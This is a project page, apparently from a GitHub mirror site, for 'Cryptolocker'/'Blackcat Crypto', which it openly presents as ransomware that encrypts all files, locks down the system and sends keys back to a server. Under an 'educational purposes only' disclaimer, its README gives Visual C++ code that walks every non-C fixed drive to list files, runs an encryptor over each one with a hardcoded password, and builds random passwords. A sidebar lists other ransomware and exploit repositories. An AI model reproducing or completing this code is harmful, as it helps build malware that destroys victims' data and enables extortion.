All Projects → ajayrandhawa → Cryptolocker

ajayrandhawa / Cryptolocker

CryptoLocker is open source files encrypt-er. Crypto is developed in Visual C++. It has features encrypt all file, lock down the system and send keys back to the server. Multi-threaded functionality helps to this tool make encryption faster.

Projects that are alternatives of or similar to Cryptolocker

MalwareDatabase
One of the few malware collection
Stars: ✭ 37 (-53.16%)
Mutual labels:  exploit, ransomware
Cry
Cross platform PoC ransomware written in Go
Stars: ✭ 179 (+126.58%)
Mutual labels:  crypto, ransomware
Ctf All In One
CTF竞赛权威指南
Stars: ✭ 2,807 (+3453.16%)
Mutual labels:  crypto, exploit
goMS17-010
Simple program for detecting if host(s) are vulnerable to SMB exploit(MS17-010)
Stars: ✭ 67 (-15.19%)
Mutual labels:  exploit, ransomware
Shiro exploit
Apache Shiro 反序列化漏洞检测与利用工具
Stars: ✭ 252 (+218.99%)
Mutual labels:  crypto, exploit
Supergirloncrypt
CryptoTrojan in Python (For educational purpose ONLY)
Stars: ✭ 28 (-64.56%)
Mutual labels:  crypto, ransomware
Featherduster
An automated, modular cryptanalysis tool; i.e., a Weapon of Math Destruction
Stars: ✭ 876 (+1008.86%)
Mutual labels:  crypto, exploit
Write Ups
📚 VoidHack CTF write-ups
Stars: ✭ 45 (-43.04%)
Mutual labels:  crypto, exploit
Random Bytes Readable Stream
Creates a readable stream producing cryptographically strong pseudo-random data using `crypto.randomBytes()`
Stars: ✭ 71 (-10.13%)
Mutual labels:  crypto
Noble Bls12 381
Fastest implementation of BLS12-381 in a scripting language. High-security, auditable, 0-dependency aggregated signatures / zk-snarks over pairing-friendly curve
Stars: ✭ 73 (-7.59%)
Mutual labels:  crypto
Crycompare
Python wrapper for CryptoCompare public API
Stars: ✭ 70 (-11.39%)
Mutual labels:  crypto
Cava
ConsenSys core libraries for Java & Kotlin
Stars: ✭ 71 (-10.13%)
Mutual labels:  crypto
Use Dai
💸 A curated, community compiled list of everywhere you can use the decentralized Dai stablecoin
Stars: ✭ 74 (-6.33%)
Mutual labels:  crypto
Ctf
Some of my CTF solutions
Stars: ✭ 70 (-11.39%)
Mutual labels:  exploit
Nfte
A universal way of embedding NFTs in your website or app, works with any ERC-721 contract. Bringing The Metaverse to Web2.
Stars: ✭ 75 (-5.06%)
Mutual labels:  crypto
Encryptlab
A Free and Comprehensive Encrypt and Decrypt Tools Website with example code in Node.js, Website is looking for a new server.
Stars: ✭ 69 (-12.66%)
Mutual labels:  crypto
M0b Tool
exploit
Stars: ✭ 68 (-13.92%)
Mutual labels:  exploit
Kbfs
Keybase Filesystem (KBFS)
Stars: ✭ 1,218 (+1441.77%)
Mutual labels:  crypto
Yookiterm Slides
Exploitation and Mitigation Slides
Stars: ✭ 74 (-6.33%)
Mutual labels:  exploit
I2p.i2p
I2P is an anonymizing network, offering a simple layer that identity-sensitive applications can use to securely communicate. All data is wrapped with several layers of encryption, and the network is both distributed and dynamic, with no trusted parties.
Stars: ✭ 1,186 (+1401.27%)
Mutual labels:  crypto

DISCLAIMER : OUR TOOLS ARE FOR EDUCATIONAL PURPOSES ONLY. DON'T USE THEM FOR ILLEGAL ACTIVITIES. YOU ARE THE ONLY RESPONSABLE FOR YOUR ACTIONS! OUR TOOLS ARE OPEN SOURCE WITH NO WARRANTY AND AS ARE.

𝚅𝚒𝚜𝚒𝚝𝚘𝚛𝚜

Cryptolocker

Blackcat Crypto is open source Crypto-Locker. Blackcat Crypto is developed in Visual C++. It has features encrypt all file, lock down the system and send keys back to the server. Multi-threaded functionality helps to this tool make encryption faster.

Using a powerful 256-bit encryption algorithm, Once a file is encrypted, File is completely useless without the password. It simply cannot be read.

Features

  1. Strong AES Encryption. (Unbreakable)
  2. Lockdown System Functionailty.
  3. Multi-Thread Encryption.
  4. Powerful Web Admin Interface

Step 1 (Fetch files)

Getting all files from all drive to encrypting them.

Here is Visual C++ program get all list directory & files in drive and store path in text file for encryption later use. I use Boost C++ libraries to get all files list. Please first setup Boost libraries to compile program.

#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>

using namespace std;

fstream out_file("data.txt", ios::out);

#define MAX 256

int main(int argc, char* argv[]) {

	int dr_type = 99;
	char dr_avail[MAX];
	char *temp = dr_avail;

	/* 1st we fill the buffer */
	GetLogicalDriveStrings(MAX, dr_avail);
	while (*temp != NULL) { // Split the buffer by null
		dr_type = GetDriveType(temp);

		char skip[10] = "C:\\";

		if (dr_type == 3 && temp[0] != 'C') {

			boost::system::error_code dir_error;

			for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
				if (dir_error.value()) {
					cerr << "Error accessing file: " << dir_error.message() << endl;
				}
				else {
					cout << dir->path() << endl;
					out_file << dir->path() << "\n";
				}
			}
		}
		temp += lstrlen(temp) + 1;
	}
	out_file.close();
	system("pause");
	

Step 2 (Encrypt files)

Here firstly I get every file path from "data.txt" line by line and send to this crypy tool with type encryption and password. you can also embed all this program in upper loop for getting path and encrypting data recursively.

out_file.open("data.txt", ios::in);
	string line;
	while (out_file.good()) {
		getline(out_file, line);
		cout << line << endl;
		std::string cmmd = "crpt.exe -e -p 4321 ";
		cmmd += line;
		system(cmmd.c_str());
	}

Step 3 (Create Long String Complex Password Function)

Send length to function and function return complex long generated password which you can use for encryption.

string RandomString(int len)
{
	srand(time(0));
	string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
	string newstr;
	int pos;
	while (newstr.size() != len) {
		pos = ((rand() % (str.size() - 1)));
		newstr += str.substr(pos, 1);
	}
	return newstr;
}

Currently in Development....

Happy Cyber Security.....Happy Open Source.......

:)

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].